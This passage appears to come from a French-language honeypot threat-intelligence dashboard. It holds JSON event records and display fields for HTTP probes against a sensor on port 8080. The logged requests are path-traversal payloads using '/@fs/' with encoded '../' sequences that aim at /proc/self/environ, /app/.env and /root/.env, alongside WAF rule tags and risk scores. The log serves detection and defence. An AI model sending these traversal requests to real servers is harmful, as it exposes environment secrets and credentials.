"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Win",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "df1cc59a213251306a7bd47b1eaae3c83b263aaa",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Win",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Lfi",
"CRS-930100-sub",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"evidence_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Win",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /@fs/..%2f..%2f..%2f..%2f..%2fapp/.env
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/..%2f..%2f..%2f..%2f..%2fapp/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
43
Recommandation
Investiguer
Tags
950260:lfi-0
950316:lfi-14
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/@fs/..%2f..%2f..%2f..%2f..%2fapp/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/..%2f..%2f..%2f..%2f..%2fapp/.env
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 6 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
CRS-930100-sub
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/..%2f..%2f..%2f..%2f..%2fapp/.env?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/..%2f..%2f..%2f..%2f..%2fapp/.env?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 1
Requête brute (extrait)
GET /@fs/..%2f..%2f..%2f..%2f..%2fapp/.env?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "69582dd76a77e6292b1975affc46a8fd1ae7da2e",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 241,
"payload_entropy": 5.383267622923405,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "acaeabf2fa3d5da3398abfd2c552047cb54d74bb",
"event_fingerprint": "0e25d933afde64f2b67cbd8baa4281979d6add6f",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 253,
"precision_signals": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "84456678096b9a8cbe133641000b888e",
"path_pattern_hash": "3bbcc398954862759279841b961b8a74"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 1",
"method": "GET",
"path": "\/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 1",
"evidence": {
"method": "GET",
"path": "\/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 1",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1a2f96635eb723851232e651a29319fae9b78955",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env",
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 1",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Lfi",
"CRS-930100-sub",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env",
"request_line": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env",
"evidence_snippet": "GET \/@fs\/..%2f..%2f..%2f..%2f..%2fapp\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 1",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/..%252f..%252f..%252f..%252f..%252froot/.e…
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
43
Recommandation
Investiguer
Tags
950260:lfi-0
950316:lfi-14
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/@fs/..%252f..%252f..%252f..%252f..%252froot/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/..%252f..%252f..%252f..%252f..%252froot/.env
Pourquoi cette classification : Sonde fichier sensible: fichier configuration · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — Motif catalogue confirmé · 6 tag(s) WAF
Protocole émulé
1 Signaux
SIGMA-web-config-leak
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (W
Requête brute (extrait)
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "e09d82dbb9cb335b3e33fb4c5d37074188ddda74",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 252,
"payload_entropy": 5.364404033613429,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 11,
"anomaly_count": 0,
"campaign_key": "8c89137092ec74e72d05d826b501793532d20dd8",
"event_fingerprint": "426151e56796900865d81c9ccf8ebf8d2a2fa6d1",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 215,
"precision_signals": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "34ffa89cead61903d51aae23bb5f349c",
"path_pattern_hash": "aad74e466f6b892490395c610d1ba91c"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"method": "GET",
"path": "\/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env?raw?? HTTP\/1.1",
"payload_snippet": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (W",
"evidence": {
"method": "GET",
"path": "\/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (W",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c5e2e6ce91834b6645f5176c8f96b5372eee3ffd",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env",
"request_line": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (W",
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.e\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"SIGMA-web-config-leak",
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
